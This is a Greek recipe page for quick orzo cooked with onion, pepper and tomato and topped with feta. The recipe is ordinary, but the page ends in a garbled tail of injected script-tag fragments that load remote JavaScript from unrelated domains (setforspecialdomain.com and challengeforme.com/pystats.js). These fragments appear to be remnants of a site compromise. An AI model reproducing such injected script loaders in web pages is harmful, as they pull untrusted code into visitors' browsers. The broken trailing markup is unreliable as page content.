Γρήγορη συνταγή: Πεντανόστιμο κριθαράκι με φέτα για να γλείφεις και τα δάχτυλά σου

det_kr1

Για τις ημέρες που βαριέσαι να μαγειρέψεις μπελαλίδικα φαγητά και θέλεις να απολαύσεις κάτι νόστιμο άμεσα (μιας και η πείνα σου έχει χτυπήσει για τα καλά την πόρτα), η λύση είναι μία και λέγεται κριθαράκι

Η παρακάτω συνταγή με φέτα είναι πραγματικά πεντανόστιμη. Μία δοκιμή θα σε πείσει!

Θα χρειαστείς:
1 κούπα κριθαράκι μέτριο
3 κούπες νερό
1 μέτριο κρεμμύδι (ψιλοκομμένο)
1 κόκκινη πιπεριά (κομμένη σε πολύ λεπτές ροδέλες)
4 κ.σ ελαιόλαδο
2 ντομάτες περασμένες στο μούλτι
½ σκελίδα σκόρδο ψιλοκομμένη
Αλάτι
Πιπέρι
Φέτα

Εκτέλεση:
– Ρίξε το λάδι στην κατσαρόλα να ζεσταθεί και έπειτα πρόσθεσε το κρεμμύδι και το σκόρδο.
– Μόλις σοταριστούν ρίξε στην κατσαρόλα το κριθαράκι και ανακάτεψε καλά.
– Πρόσθεσε το νερό, την πιπεριά, την ντομάτα, το αλάτι και το πιπέρι και ανακάτεψε ελαφρώς.
– Σκέπασε την κατσαρόλα και άφησε το κριθαράκι να βράσει σε μέτρια φωτιά, μέχρι να μαλακώσει και να πιει ελαφρώς τα νερά του.
– Σέρβιρε στο πιάτο και τρίψε από πάνω άφθονη φέτα. Πρόσθεσε αν θέλεις φρέσκο πιπέρι ή ψιλόκοψε λίγο μαϊντανό.

Τόσο απλά και γρήγορα… καλή σου απόλαυση!___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >